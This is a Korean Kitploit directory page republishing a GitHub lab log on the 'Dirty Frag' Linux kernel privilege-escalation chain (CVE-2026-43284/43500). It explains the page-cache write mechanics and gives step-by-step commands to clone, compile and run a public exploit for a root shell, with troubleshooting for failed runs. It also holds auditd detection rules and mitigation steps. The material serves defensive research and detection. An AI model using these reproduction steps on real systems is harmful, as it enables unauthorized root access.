Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Dirty-Frag-CVE-2026-43284 — Dirty Frag에 대한 보고서입니다. 이는 권한이 없는 사용자가 루트 액세스 권한을 획득할 수 있게 하는 Linux 로컬 권한 상승(LPE) 취약점 체인입니다. | Kitploit
도구/GitHubGitHub/kuniyal08/dirty-frag-cve-2026-43284
Privilege EscalationVulnerability AnalysisExploitationForensicsIntrusion DetectionLearning & EducationIncident ResponseLabs & Practice

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
kuniyal08/dirty-frag-cve-2026-43284

Dirty-Frag-CVE-2026-43284

Dirty Frag에 대한 보고서입니다. 이는 권한이 없는 사용자가 루트 액세스 권한을 획득할 수 있게 하는 Linux 로컬 권한 상승(LPE) 취약점 체인입니다.

저장소 보기
1921일 전아직 검토되지 않음

Dirty Frag (CVE-2026-43284 및 CVE-2026-43500)

Linux 커널 로컬 권한 상승 체인에 대한 익스플로잇 재현 및 탐지 연구소입니다.

상태: 검증 완료. 저는 연구소 환경(커널 6.18.9+kali-amd64)에서 재현, 파일리스 검증, 그리고 syscall 수준 탐지를 완료했습니다. 이 문서는 연구소 로그입니다. 아래의 모든 주장은 재현 실행 중 관찰된 것입니다. 스크린샷과 아티팩트는 VM에서 캡처한 실제 자료입니다.

목차

  • 개요
  • 중요성
  • 기술적 세부 사항
  • 연구소 환경
  • 저장소 구조
  • 진행 체크리스트
  • 재현 절차
  • 탐지 엔지니어링
  • 침해 대응
  • 완화 조치
  • 문제 해결
  • 참고 자료 및 크레딧
  • 법적 및 윤리

개요

Dirty Frag는 Linux 커널의 두 가지 결정적 로직 버그를 결합합니다. 이러한 버그로 인해 권한이 없는 로컬 사용자가 읽기 전용 파일(예: /usr/bin/su)의 페이지 캐시를 덮어쓰고 루트 셸을 얻을 수 있습니다:

변종CVE싱크트리거 경로권한 없는 userns 필요
xfrm‑ESP 페이지‑캐시 쓰기CVE‑2026‑43284esp_input()의 crypto_authenc_esn_decrypt()UDP‑encap을 사용한 socket(AF_INET), 이후 xfrm_input()예 (CAP_NET_ADMIN)
RxRPC 페이지‑캐시 쓰기CVE‑2026‑43500rxkad_verify_packet_1() (pcbc(fcrypt))socket(AF_RXRPC)아니요

두 변종 모두 Dirty Pipe 및 Copy Fail과 동일한 루트 패턴을 사용합니다. splice(2) syscall은 파일의 페이지-캐시 페이지에 대한 참조를 송신 측 sk_buff의 frag 슬롯에 배치합니다. 공격자는 이 파일을 읽기만 할 수 있습니다. 수신 측 커널 코드는 해당 frag 위에서 제자리 암호화 STORE를 수행합니다. 이는 RAM의 페이지 캐시를 변형시킵니다. 디스크 쓰기가 발생하지 않으므로 파일 무결성 모니터링(AIDE, Tripwire)은 이를 감지할 수 없습니다. 공격은 결정적입니다. 경쟁 조건 창이 없으며 실패 시 커널 패닉도 없습니다.

  • 영향 범위(업스트림 권고 기준):
    • ESP 변종: cac2661c53f3(2017‑01)부터 f4c50a4034e6(2026‑05‑05 패치)까지
    • RxRPC 변종: 2dc334f1a63a(2023‑06)부터 aa54b1d27fe0(2026‑05‑10 패치)까지
  • 공개 PoC: V4bel/dirtyfrag (2026‑05‑07 공개)
  • 권고: CERT VU#980487, Red Hat Bugzilla 2467771
  • 심각도 (CVSS 3.1, Canonical 기준): CVE-2026-43284 = 8.8 (높음), CVE-2026-43500 = 7.8 (높음)

중요성

Dirty Frag는 파일리스 LPE입니다. 디스크의 파일이 아닌 메모리 내 페이지 캐시를 손상시킵니다. 기존 파일 무결성 모니터링은 이를 감지할 수 없습니다. 탐지는 syscall 계층에서 이루어져야 합니다. 이 체인은 다음 syscall 프리미티브를 사용합니다: socket(AF_ALG)/socket(AF_RXRPC), splice, 그리고 unshare(CLONE_NEWUSER|CLONE_NEWNET). ESP 경로는 또한 AF_INET UDP 및 netlink 소켓을 생성합니다. 이 계층이 이 저장소의 탐지 엔지니어링의 초점입니다.

기술적 세부 사항

두 변종 모두 동일한 싱크를 사용합니다: 공격자가 splice(2)로 배치한 페이지-캐시 페이지 위에 바이트를 STORE하는 제자리 암호화.

ESP 변종 (CVE-2026-43284)

  1. 공격자는 루프백에 UDP 소켓 쌍을 열고 수신 측을 UDP_ENCAP_ESPINUDP로 구성합니다.
  2. 공격자는 위조된 ESP 와이어 헤더(SPI, seq_no_lo, IV)를 vmsplice로 파이프에 등록한 다음, splice로 대상 파일 오프셋의 /usr/bin/su에서 16바이트를 등록합니다.
  3. 단일 splice가 파이프를 송신 소켓으로 밀어 넣습니다. splice_to_socket()은 MSG_SPLICE_PAGES를 설정합니다. 이는 /usr/bin/su의 페이지-캐시 페이지를 skb->frags[0]에 직접 배치합니다.
  4. 수신 시 다음 시퀀스가 실행됩니다: xfrm4_udp_encap_rcv, 이후 xfrm_input, 이후 esp_input(). 취약한 skip_cow 분기(!skb_cloned() && !skb_has_frag_list())는 를 우회합니다. 페이지-캐시 페이지를 소스와 대상으로 모두 사용하여 를 수행합니다.

공격자는 위치(splice 오프셋)와 값(4바이트)을 모두 제어합니다. 인증 검증은 스토어 이후에 실행되므로 암호화 계층은 쓰기를 플래그하지 않습니다. 이 변종은 CAP_NET_ADMIN이 필요하며 unshare(CLONE_NEWUSER|CLONE_NEWNET)를 사용합니다.

RxRPC 변종 (CVE-2026-43500)

rxkad_verify_packet_1()은 splice로 고정된 skb frag에서 직접 단일 블록 pcbc(fcrypt) 복호화를 수행합니다. 먼저 데이터를 복사하지 않습니다. 공격자는 decrypt(ciphertext)가 desired_plaintext와 같도록 세션 키(add_key("rxrpc", …))를 선택합니다. 이는 8바이트 STORE를 생성합니다. 이 변종은 /etc/passwd를 대상으로 합니다. 사용자 네임스페이스가 필요하지 않습니다. rxrpc.ko 모듈이 필요합니다(Ubuntu에서 기본적으로 로드됨).

익스플로잇 결과

공개 PoC는 /usr/bin/su를 대상으로 합니다. 각각 4바이트인 48개의 ESP 스토어(파일 오프셋 0에서 192바이트)를 씁니다. 첫 번째 페이지-캐시 바이트를 정적 루트 셸 ELF로 교체합니다. ELF 엔트리 포인트는 setgid(0); setuid(0); setgroups(0,NULL); execve("/bin/sh", …)를 실행합니다. 단일 execve("/usr/bin/su")는 루트 셸을 생성합니다.

업스트림 수정

ESP 패치(메인라인 f4c50a4034e6)는 splice()를 통해 도착하는 페이지 frag를 SKBFL_SHARED_FRAG 플래그로 표시합니다. esp_input()의 skip_cow 분기는 이제 이 플래그도 확인합니다. 공유 frag skb는 제자리 AEAD 복호화 전에 skb_cow_data()를 거칩니다.

RxRPC 패치(메인라인 aa54b1d27fe0)는 기존 skb_cloned() 확인 옆에 skb->data_len 확인을 추가합니다. 커널은 제자리 pcbc(fcrypt) 복호화 전에 페이지 데이터가 있는 비선형 skb를 복사합니다.

연구소 환경

VirtualBox 연구소 설정 스크린샷:

VirtualBox lab setup

저장소 구조

root@kitploit:~
.
├── README.md                        # 이 연구소 로그
├── detection/
│   ├── dirtyfrag.rules              # auditd syscall 수준 탐지 규칙
│   ├── ausearch_dirtyfrag_observed.txt  # 실제 익스플로잇 탐지 출력
│   ├── sigma/
│   │   └── dirty_frag_exploit.yml   # SIEM 탐지용 Sigma 규칙
│   └── yara/
│       └── dirty_frag_exploit.yar   # 디스크/메모리의 PoC 코드용 YARA 규칙
├── mitigation/
│   └── dirtyfrag_mitigation.sh      # 모듈 블랙리스트 + 페이지 캐시 플러시
├── poc/
│   └── check_vulnerable.py          # 비파괴적 사전 점검 도구
├── reports/
│   └── incident-dirtyfrag.md        # 침해 대응 플레이북
└── screenshots/                     # 연구소 VM의 실제 캡처

진행 체크리스트

  • 사전 점검: poc/check_vulnerable.py 실행 및 커널/모듈/userns 확인
  • VirtualBox 스냅샷 촬영(익스플로잇 전 복원 지점)
  • 권한 없는 testuser 생성
  • V4bel PoC 클론 및 컴파일
  • 익스플로잇 실행 및 루트 셸 확인
  • 파일리스 검증: 손상된 /usr/bin/su 해시와 복원된 해시 캡처
  • 오염된 페이지 캐시 정리(drop_caches 또는 재부팅)
  • detection/dirtyfrag.rules 배포 및 auditd 알림 검증
  • 실제 auditd 출력에서 Sigma 및 YARA 규칙 생성
  • 침해 대응 플레이북 작성 ()

재현 절차

1. OS 및 커널 확인 (사전 점검)

root@kitploit:~
cat /etc/os-release | head -3
uname -r

커널 버전 확인 스크린샷:

Kernel version 1 Kernel version 2

커널은 2026년 5월 수정(f4c50a4034e6 / aa54b1d27fe0)보다 이전 버전이어야 합니다. 해당 날짜 이후 apt upgrade를 실행했다면 익스플로잇이 실패합니다. 문제 해결을 참조하세요.

2. 비파괴적 취약점 확인

안전한 검사 도구는 VM이 잠재적 대상인지 보고합니다. 실행 중인 커널, esp4/esp6/rxrpc 모듈의 존재, 권한 없는 사용자 네임스페이스 사용 가능 여부를 확인합니다. ESP 변종에는 이러한 네임스페이스가 필요합니다.

root@kitploit:~
python3 poc/check_vulnerable.py

예상 결과: [*] potentially vulnerable -- proceed in a disposable VM only

3. 권한 없는 테스트 사용자 생성

권한 없는 testuser는 특별한 권한이 없는 공격자를 시뮬레이션합니다.

root@kitploit:~
sudo useradd -m testuser
sudo passwd testuser
su - testuser
id

스크린샷: id가 UID 1001을 표시합니다. 이는 비루트 액세스를 확인합니다.

testuser id

4. 익스플로잇 클론 및 컴파일

권한 없는 계정에서:

root@kitploit:~
git clone https://github.com/V4bel/dirtyfrag.git
cd dirtyfrag
gcc -O0 -Wall -o exp exp.c -lutil
./exp

성공 시 익스플로잇은 /usr/bin/su의 페이지 캐시를 패치합니다. 각각 4바이트인 48개의 ESP 스토어(파일 오프셋 0에서 192바이트 루트 셸 ELF)를 씁니다. 그런 다음 forkpty로 대화형 루트 셸을 드롭합니다.

모듈 가용성, 소스 검토 및 깨끗한 컴파일 스크린샷:

Module availability Source review Clean compile

5. 권한 상승 확인

root@kitploit:~
id
whoami

스크린샷: ./exp 실행 후 id가 uid=0(root)를 표시합니다.

Root shell

6. 파일리스 특성 확인 (페이지-캐시 전용 손상)

sha256sum은 페이지 캐시를 통해 읽습니다. 익스플로잇의 쓰기가 활성화된 동안 해시는 원본과 다릅니다. 플러시 후 해시는 원본으로 돌아갑니다. 이 전후 쌍은 디스크의 바이너리가 절대 수정되지 않았음을 증명합니다.

root@kitploit:~
sha256sum /usr/bin/su     # 1) 페이지 캐시가 오염된 동안 -> 다른 해시

스크린샷: 해시가 패키지 해시와 다릅니다(RAM이 오염됨, 디스크는 손상되지 않음).

Corrupted sha256

관찰된 손상(페이지-캐시) 해시: 3fc29078bd77150b5d6fbb368f632bf02c1a3704816f03fb694ec2e81e77bde4

7. 익스플로잇 후 정리 및 복원 확인 (중요)

익스플로잇 후 페이지 캐시에는 손상된 데이터가 포함됩니다. 항상 플러시하세요:

root@kitploit:~
echo 3 | sudo tee /proc/sys/vm/drop_caches
# 또는 VM 재부팅

그런 다음 복원을 확인합니다(testuser로):

root@kitploit:~
sha256sum /usr/bin/su     # 이제 ORIGINAL 패키지 해시와 일치
su -                      # 비밀번호를 다시 요구 — 자동 루트 없음

스크린샷: 복원된(디스크의 원본) 해시.

Restored sha256

관찰된 원본(디스크) 해시: 2b4f8770bd35bba5cdc5cfe292bc1d988e92ec1786bf91cf83e0e86fac056eb6

재부팅 후 dpkg -V util-linux는 출력이 없었습니다. 디스크의 /usr/bin/su는 패키지와 정확히 일치하므로 손상된 3fc29078… 해시는 페이지 캐시에만 존재했습니다.

drop_caches는 오염된 페이지를 제거하지 못할 수 있습니다. 이는 실행 중인 프로세스가 여전히 페이지를 고정하고 있는 경우 발생합니다. 이 경우 sha256sum과 dpkg -V는 계속 손상된 콘텐츠를 표시합니다. 확실한 해결책은 재부팅입니다. dpkg -V도 페이지 캐시를 통해 읽습니다. 페이지가 오염된 동안 ??5??????를 보고합니다(MD5가 다르고 크기, 모드, 소유자, mtime은 모두 일치). 재부팅 후 다시 조용해집니다. 이는 디스크의 파일이 수정된 적이 없음을 증명합니다.

플러시는 익스플로잇을 비활성화하지 않습니다. 오염된 페이지 캐시만 지웁니다. 모듈을 별도로 비활성화해야 합니다(완화 조치 참조). 이미 로드된 모듈을 익스플로잇된 호스트에서 제거하려면 재부팅이 필요합니다.

탐지 엔지니어링

Dirty Frag는 파일 무결성 모니터링에 보이지 않습니다. 탐지는 체인이 반드시 사용해야 하는 syscall 프리미티브에 초점을 맞춥니다.

auditd 규칙 (detection/dirtyfrag.rules)

root@kitploit:~
# /etc/audit/rules.d/dirtyfrag.rules
-a always,exit -F arch=b64 -S socket -F a0=38 -F uid!=0 -k dirtyfrag_af_alg
-a always,exit -F arch=b64 -S socket -F a0=33 -F uid!=0 -k dirtyfrag_rxrpc
-a always,exit -F arch=b64 -S splice -F uid!=0 -k dirtyfrag_splice
-a always,exit -F arch=b64 -S unshare -F uid!=0 -k dirtyfrag_namespace
-w /usr/bin/su -p r -k dirtyfrag_suid_read

참고: Linux에서 AF_ALG = 38 및 AF_RXRPC = 33입니다(/usr/include/bits/socket.h 참조). 이전 초안은 a0=21을 사용했습니다. 해당 값은 잘못되었습니다. AF_RXRPC는 21이 아니라 33입니다.

배포 및 확인:

root@kitploit:~
sudo cp detection/dirtyfrag.rules /etc/audit/rules.d/
sudo systemctl restart auditd   # 또는: sudo auditctl -D && sudo auditctl -R /etc/audit/rules.d/dirtyfrag.rules
sudo auditctl -l

익스플로잇을 다시 실행한 후 예상 알림(PID로 상관 분석):

root@kitploit:~
ausearch -k dirtyfrag_af_alg
ausearch -k dirtyfrag_rxrpc
ausearch -k dirtyfrag_splice
ausearch -k dirtyfrag_namespace

검증된 탐지 출력

5개 규칙 모두 로드됨(auditctl -R, 각 CONFIG_CHANGE에 대해 res=1). 규칙은 익스플로잇의 네임스페이스 설정을 포착했습니다:

root@kitploit:~
time->Wed Aug  5 08:26:37 2026
type=PROCTITLE msg=audit(1785932797.328:592): proctitle="./exp"
type=SYSCALL msg=audit(1785932797.328:592): arch=c000003e syscall=272 success=yes exit=0 a0=50000000 a1=0 a2=0 a3=0 items=0 ppid=5198 pid=5199 auid=1000 uid=1001 gid=1001 euid=1001 suid=1001 fsuid=1001 egid=1001 sgid=1001 fsgid=1001 tty=pts2 ses=2 comm="exp" exe="/home/testuser/dirtyfrag/exp" subj=unconfined key="dirtyfrag_namespace"

디코딩: syscall=272(unshare), a0=50000000은 CLONE_NEWUSER | CLONE_NEWNET과 같음, uid=1001(권한 없는 testuser), comm="exp". 전체 로그는 detection/ausearch_dirtyfrag_observed.txt에 있습니다.

스크린샷: ausearch 출력이 규칙 로드와 익스플로잇 이벤트를 보여줍니다.

auditd alerts

탐지 범위

침해 대응

전체 플레이북은 reports/incident-dirtyfrag.md에 있습니다: 경영진 요약, 타임라인, IoC, MITRE ATT&CK 매핑, 격리, 근절, 복구 및 교훈.

완화 조치

즉각적인 런타임 완화 조치입니다. 이미 로드된 모듈의 경우 재부팅 후에도 유지되지 않습니다(아래 참고 참조):

root@kitploit:~
sudo mitigation/dirtyfrag_mitigation.sh

수행 작업:

  1. /etc/modprobe.d/dirtyfrag.conf에 esp4, esp6, rxrpc를 차단하도록 작성합니다. blacklist 및 alias … off 줄을 포함합니다. 단순한 한 줄 명령은 이러한 줄을 놓칩니다(그렇지 않으면 별칭별 자동 로드가 계속 작동함).
  2. 현재 로드된 모듈을 제거합니다.
  3. 페이지 캐시를 플러시하여 이미 오염된 페이지를 제거합니다.

영향: 이러한 모듈을 비활성화하면 IPsec VPN(ESP) 및 AFS 파일시스템(RxRPC) 기능이 중단됩니다.

영구 수정: 업스트림 패치가 포함된 커널로 업그레이드합니다. 또는 부팅 시 모듈을 블랙리스트에 등록합니다(initcall_blacklist=esp4,esp6,rxrpc).

문제 해결

참고 자료 및 크레딧

  • 연구, 발견 및 공개 PoC: Hyunwoo Kim (@v4bel), V4bel/dirtyfrag
  • 기술 문서: assets/write-up.md
  • CERT/CC 권고: VU#980487
  • Red Hat CVE 추적기: CVE-2026-43284 / bug 2467771

법적 및 윤리

이 저장소는 승인된 방어적 보안 연구 및 교육 전용입니다.

  • 모든 재현은 격리된 VirtualBox VM에서 수행되었습니다. 이후 스냅샷을 복원했습니다.
  • 테스트 권한이 없는 시스템에서 PoC를 실행하지 마십시오. 승인되지 않은 익스플로잇은 범죄 행위가 될 수 있습니다.
  • PoC 및 탐지 콘텐츠는 교육 목적으로 게시되었습니다. 공격을 이해하는 것이 탐지의 기초입니다. 전체 성명은 DISCLAIMER.md를 참조하세요.

라이선스

LICENSE를 참조하세요. 이 연구소는 자체 격리 환경에서의 교육용입니다. 테스트 권한이 없는 시스템에서 PoC를 실행하지 마십시오.

도구 다운로드
skb_cow_data()
제자리 AEAD 복호화
  • crypto_authenc_esn_decrypt()는 ESN의 상위 32비트 STORE를 방출합니다. 해당 값은 replay_esn->seq_hi입니다. 공격자는 SA 등록 시 XFRMA_REPLAY_ESN_VAL netlink 속성으로 이 값을 선택합니다.
  • 구성 요소세부 사항
    하이퍼바이저VirtualBox
    대상 VMKali Linux 2026.1 (취약한 상태로 복원된 스냅샷)
    커널6.18.9+kali‑amd64 (2026년 5월 수정보다 이전 버전)
    익스플로잇 PoCV4bel/dirtyfrag (단일 C 파일)
    탐지auditd (detection/dirtyfrag.rules의 규칙)
    reports/incident-dirtyfrag.md
    계층감지 내용상태
    auditdAF_ALG 및 AF_RXRPC 소켓, splice, unshare, SUID 읽기예. 배포 및 검증 완료(규칙 파일 detection/dirtyfrag.rules)
    SigmaSIEM용 syscall 패턴예. 규칙 준비 완료(detection/sigma/dirty_frag_exploit.yml)
    YARA디스크 또는 메모리의 PoC 코드예. 규칙 준비 완료(detection/yara/dirty_frag_exploit.yar)
    FIM (AIDE/Tripwire)파일 변경아니요. 디스크 쓰기가 발생하지 않으므로 감지 불가
    증상가능한 원인해결책
    ./exp가 failed / post-write verify failed 출력커널이 패치됨(2026년 5월 이후)이전 커널로 부팅하거나 업데이트 전 스냅샷 복원. poc/check_vulnerable.py로 재확인
    unshare(CLONE_NEWUSER)가 EPERM 반환권한 없는 사용자 네임스페이스 비활성화(AppArmor 또는 sysctl)sysctl kernel.unprivileged_userns_clone 확인. Ubuntu에서는 AppArmor 확인. Kali는 기본적으로 허용
    esp4/esp6/rxrpc가 로드되지 않음모듈을 사용할 수 없음sudo modprobe esp4 esp6 rxrpc (RxRPC는 socket(AF_RXRPC)로 자동 로드됨)
    su 바이너리가 "패치"되었지만 루트 셸 없음drop_caches가 이미 실행되었거나 페이지 캐시가 프로세스에 고정됨익스플로잇 재실행. 멈추면 VM 재부팅
    익스플로잇 실행 후 완화 조치 후에도 루트 가능페이지 캐시가 플러시되지 않았거나 블랙리스트 전에 모듈이 이미 로드됨echo 3 > /proc/sys/vm/drop_caches. 완전 중지에는 재부팅 필요